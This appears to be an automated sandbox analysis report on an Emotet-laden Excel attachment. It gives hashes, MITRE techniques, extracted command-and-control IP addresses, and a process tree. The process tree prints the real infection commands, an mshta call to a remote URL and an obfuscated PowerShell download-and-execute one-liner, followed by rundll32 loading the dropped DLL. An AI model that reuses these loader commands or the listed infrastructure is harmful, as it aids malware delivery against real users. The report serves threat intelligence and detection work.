emotet | 9d89baddbcdadef7e35bf25b5705eae33e688f87f0f311f1da9ff7002effc8bf

Analysis

max time kernel
155s
max time network
175s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 16:03

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General

Target
Mail-550898030336.xls
Size 76KB
Sample220128-thc6pagcfj
SHA256 9d89baddbcdadef7e35bf25b5705eae33e688f87f0f311f1da9ff7002effc8bf
MD5 21239027f2f5c7635b064fb0b3ba25e9
SHA1 45d78dab6c59f6fb3e290b19418d72c9906f7607
SHA512 5933f00bb38d71d100289c2370e674b5d9de7600d59616394441989151fb7482a54a40d4d39a72c3fb24ab9535ed19f58e99190426bf09b9c0cce52c0fffa3ca
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqw/aas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqw/aas/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3472	2000	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
40	3948	mshta.exe
41	3144	powershell.exe
43	3144	powershell.exe
45	3144	powershell.exe
61	1224	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2084	rundll32.exe
1680	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Fwafsbdee\hbfjoyxqkisvt.uzb	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1400	3948	WerFault.exe	77

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2000	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3144	powershell.exe
3144	powershell.exe
3144	powershell.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1224	rundll32.exe
1224	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	1400	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE
2000	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 3472	2000	EXCEL.EXE	75
PID 2000 wrote to memory of 3472	2000	EXCEL.EXE	75
PID 3472 wrote to memory of 3948	3472	cmd.exe	77
PID 3472 wrote to memory of 3948	3472	cmd.exe	77
PID 3948 wrote to memory of 3144	3948	mshta.exe	78
PID 3948 wrote to memory of 3144	3948	mshta.exe	78
PID 3144 wrote to memory of 2816	3144	powershell.exe	82
PID 3144 wrote to memory of 2816	3144	powershell.exe	82
PID 2816 wrote to memory of 2084	2816	cmd.exe	83
PID 2816 wrote to memory of 2084	2816	cmd.exe	83
PID 2816 wrote to memory of 2084	2816	cmd.exe	83
PID 2084 wrote to memory of 1680	2084	rundll32.exe	84
PID 2084 wrote to memory of 1680	2084	rundll32.exe	84
PID 2084 wrote to memory of 1680	2084	rundll32.exe	84
PID 1680 wrote to memory of 2380	1680	rundll32.exe	85
PID 1680 wrote to memory of 2380	1680	rundll32.exe	85
PID 1680 wrote to memory of 2380	1680	rundll32.exe	85
PID 2380 wrote to memory of 1224	2380	rundll32.exe	86
PID 2380 wrote to memory of 1224	2380	rundll32.exe	86
PID 2380 wrote to memory of 1224	2380	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Mail-550898030336.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqw/aas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqw/aas/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqw/aas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3144
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2816
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2084
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1680
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fwafsbdee\hbfjoyxqkisvt.uzb",CAzqfoeavwQfTYk
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2380
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fwafsbdee\hbfjoyxqkisvt.uzb",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1224
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3948 -s 2264
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1224-358-0x0000000002C40000-0x0000000002C67000-memory.dmp

Download

memory/1224-359-0x00000000047D0000-0x00000000047F7000-memory.dmp

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memory/1224-370-0x00000000050D0000-0x00000000050F7000-memory.dmp

Download

memory/1224-368-0x0000000004FE0000-0x0000000005007000-memory.dmp

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memory/1224-364-0x0000000004D20000-0x0000000004D47000-memory.dmp

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memory/1224-362-0x0000000004C40000-0x0000000004C67000-memory.dmp

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memory/1680-338-0x0000000004730000-0x0000000004757000-memory.dmp

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memory/1680-333-0x0000000000AE0000-0x0000000000B07000-memory.dmp

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memory/1680-356-0x0000000004C80000-0x0000000004CA7000-memory.dmp

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memory/1680-336-0x0000000004650000-0x0000000004677000-memory.dmp

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memory/1680-340-0x0000000004910000-0x0000000004937000-memory.dmp

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memory/1680-344-0x0000000004AD0000-0x0000000004AF7000-memory.dmp

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memory/2000-119-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-118-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-122-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-390-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-120-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-121-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-393-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-392-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-391-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

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memory/2000-131-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

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memory/2000-132-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

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memory/2084-331-0x0000000003420000-0x0000000003447000-memory.dmp

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memory/2380-354-0x00000000009C0000-0x00000000009E7000-memory.dmp

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memory/3144-301-0x00000188D35E0000-0x00000188D361C000-memory.dmp

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memory/3144-281-0x00000188BB510000-0x00000188BB532000-memory.dmp

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memory/3144-312-0x00000188D3D10000-0x00000188D3D86000-memory.dmp

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memory/3144-321-0x00000188BB570000-0x00000188D3660000-memory.dmp

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memory/3144-322-0x00000188BB570000-0x00000188D3660000-memory.dmp

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memory/3144-327-0x00000188BB570000-0x00000188D3660000-memory.dmp

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